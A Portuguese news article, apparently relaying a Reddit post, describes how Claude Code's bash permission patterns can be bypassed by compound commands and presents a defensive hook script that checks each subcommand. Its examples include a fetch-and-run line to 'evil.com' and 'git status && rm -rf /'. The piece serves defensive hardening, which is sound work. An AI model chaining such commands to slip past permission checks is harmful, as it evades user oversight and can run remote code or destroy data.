Gancho Inteligente de Permissão Bash para Claude Code Previne Bypass de Comandos Compostos

✍️ OpenClawRadar📅 Publicado: March 18, 2026🔗 Source
Gancho Inteligente de Permissão Bash para Claude Code Previne Bypass de Comandos Compostos
Ad

Lacuna de Segurança no Sistema de Permissões do Claude Code

O sistema de permissões do Claude Code tem uma vulnerabilidade onde comandos bash compostos podem contornar padrões de permissão/negação. Quando você permite um comando como Bash(git status:*), o Claude Code compara toda a string do comando com esse padrão. Isso significa que um comando composto como git status && curl -s http://evil.com | sh corresponderia a git status* e seria aprovado automaticamente, mesmo que encadeie comandos curl e sh.

A Solução: claude-hooks

A correção é um único script Python chamado claude-hooks que funciona como um hook PreToolUse. Ele executa várias funções importantes:

  • Decompõe comandos compostos dividindo em &&, ||, ;, |, novas linhas, e extrai conteúdos de subshells $() e acentos graves recursivamente
  • Normaliza cada subcomando removendo prefixos de variáveis de ambiente, redirecionamentos de E/S, corpos de heredoc e palavras-chave do shell
  • Verifica cada subcomando individualmente contra seus padrões existentes de permissions.allow e permissions.deny
  • Negar vence — se qualquer subcomando corresponder a um padrão de negação, todo o comando é negado
  • Todos devem permitir — a aprovação automática só ocorre quando cada subcomando corresponde a um padrão de permissão
  • Falha graciosamente — se qualquer subcomando for desconhecido, você ainda recebe o prompt de permissão normal
Ad

Instruções de Configuração

A instalação leva cerca de 30 segundos:

curl -fsSL -o ~/.claude/hooks/smart_approve.py \
https://raw.githubusercontent.com/liberzon/claude-hooks/main/smart_approve.py

Adicione a ~/.claude/settings.json:

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Bash",
        "hooks": [
          {
            "type": "command",
            "command": "python3 ~/.claude/hooks/smart_approve.py"
          }
        ]
      }
    ]
  }
}

A ferramenta não tem dependências além do Python 3 e não requer configuração — ela lê seus padrões de permissão existentes.

Comportamento de Exemplo

  • git status: Permitido tanto com quanto sem o hook
  • git add . && git commit -m "msg": Permitido tanto com quanto sem o hook (ambos correspondem a git *)
  • git status && rm -rf /: Permitido sem o hook, prompt mostrado com o hook (rm -rf / não tem permissão)
  • `npm test | tee output.log`: Permitido
  • FOO=bar git push: Pode não corresponder sem o hook, permitido com o hook (variável de ambiente removida)

O repositório está disponível em https://github.com/liberzon/claude-hooks sob licença MIT.

📖 Read the full source: r/ClaudeAI

Ad

👀 See Also

Explorando os Riscos do Uso da Conta Google com Gemini-Cli e Assinatura Gemini Pro
Security

Explorando os Riscos do Uso da Conta Google com Gemini-Cli e Assinatura Gemini Pro

O Gemini-Cli e sua assinatura do Gemini Pro podem representar alguns riscos para sua conta do Google. Aqui está o que você precisa saber sobre possíveis vulnerabilidades ao usar essas ferramentas de IA.

OpenClawRadar
Violação de Segurança da OpenClaw: Agente do CEO Vendido por US$ 25 mil, 135 Mil Instâncias Expostas
Security

Violação de Segurança da OpenClaw: Agente do CEO Vendido por US$ 25 mil, 135 Mil Instâncias Expostas

Uma instância do OpenClaw de um CEO do Reino Unido foi vendida por US$ 25.000 no BreachForums, expondo arquivos Markdown em texto simples contendo conversas, bancos de dados de produção, chaves de API e detalhes pessoais. A SecurityScorecard encontrou 135.000 instâncias do OpenClaw expostas com configurações padrão inseguras.

OpenClawRadar
Chatbots de IA podem inserir anúncios nas respostas sem que os usuários percebam.
Security

Chatbots de IA podem inserir anúncios nas respostas sem que os usuários percebam.

Pesquisas mostram que chatbots de IA podem inserir anúncios de produtos de forma oculta em respostas, influenciando escolhas dos usuários, enquanto a maioria dos participantes não detectou a manipulação. O estudo usou um chatbot personalizado para demonstrar o efeito.

OpenClawRadar
Ataque de cadeia de suprimentos usa código Unicode invisível para evitar detecção
Security

Ataque de cadeia de suprimentos usa código Unicode invisível para evitar detecção

Pesquisadores descobriram 151 pacotes maliciosos enviados para o GitHub entre 3 e 9 de março usando caracteres Unicode invisíveis para ocultar código malicioso. O ataque tem como alvo repositórios GitHub, NPM e Open VSX com pacotes que parecem legítimos, mas contêm cargas maliciosas ocultas.

OpenClawRadar